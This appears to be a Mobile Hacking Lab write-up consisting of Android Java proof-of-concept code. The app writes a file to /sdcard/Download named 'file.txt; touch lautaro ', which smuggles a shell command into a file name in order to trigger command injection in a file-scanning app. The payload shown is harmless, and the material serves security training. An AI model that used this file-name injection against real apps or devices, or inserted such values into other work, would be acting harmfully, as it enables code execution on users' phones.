Mobile Hacking Lab – Cyclic Scanner

				
					package com.lautaro.cyclicrce;  
  
import android.Manifest;  
import android.content.pm.PackageManager;  
import android.os.Bundle;  
import android.util.Log;  
import android.widget.Button;  
import android.widget.Toast;  
  
import androidx.annotation.NonNull;  
import androidx.appcompat.app.AppCompatActivity;  
import androidx.core.app.ActivityCompat;  
import androidx.core.content.ContextCompat;  
  
import java.io.File;  
import java.io.FileWriter;  
import java.io.IOException;  
  
public class MainActivity extends AppCompatActivity {  
  
    private static final int PERMISSION_REQUEST_CODE = 1;  
    private static final String TAG = "PoCApp";  
  
    @Override  
    protected void onCreate(Bundle savedInstanceState) {  
        super.onCreate(savedInstanceState);  
        setContentView(R.layout.activity_main);  
  
        Button pocButton = findViewById(R.id.pocButton);  
  
        pocButton.setOnClickListener(v -> {  
            if (checkPermission()) {  
                createMaliciousFile();  
            } else {  
                requestPermission();  
            }  
        });  
    }  
  
    private boolean checkPermission() {  
        return ContextCompat.checkSelfPermission(  
                getApplicationContext(), Manifest.permission.WRITE_EXTERNAL_STORAGE  
        ) == PackageManager.PERMISSION_GRANTED;  
    }  
  
    private void requestPermission() {  
        ActivityCompat.requestPermissions(  
                this,  
                new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE},  
                PERMISSION_REQUEST_CODE  
        );  
    }  
  
    @Override  
    public void onRequestPermissionsResult(  
            int requestCode,  
            @NonNull String[] permissions,  
            @NonNull int[] grantResults  
    ) {  
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);  
        if (requestCode == PERMISSION_REQUEST_CODE) {  
            if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {  
                createMaliciousFile();  
            } else {  
                Toast.makeText(getApplicationContext(), "Permission Denied!", Toast.LENGTH_SHORT).show();  
            }  
        }  
    }  
  
    private void createMaliciousFile() {  
        // File name  
        String fileName = "file.txt; touch lautaro ";  
  
        // Create file  
        File file = new File("/sdcard/Download", fileName);  
  
        try {  
            boolean created = file.createNewFile();  
            if (created) {  
                FileWriter writer = new FileWriter(file);  
                writer.append("File created!");  
                writer.flush();  
                writer.close();  
                Toast.makeText(  
                        getApplicationContext(),  
                        "File Created: " + file.getAbsolutePath(),  
                        Toast.LENGTH_LONG  
                ).show();  
                Log.d(TAG, "File created: " + file.getAbsolutePath());  
            } else {  
                Toast.makeText(  
                        getApplicationContext(),  
                        "File Already Exists: " + file.getAbsolutePath(),  
                        Toast.LENGTH_LONG  
                ).show();  
                Log.d(TAG, "File already exists: " + file.getAbsolutePath());  
            }  
        } catch (IOException e) {  
            Log.e(TAG, "Failed to create file: " + e.getMessage());  
            Toast.makeText(getApplicationContext(), "Failed to create file!", Toast.LENGTH_SHORT).show();  
        }  
    }  
}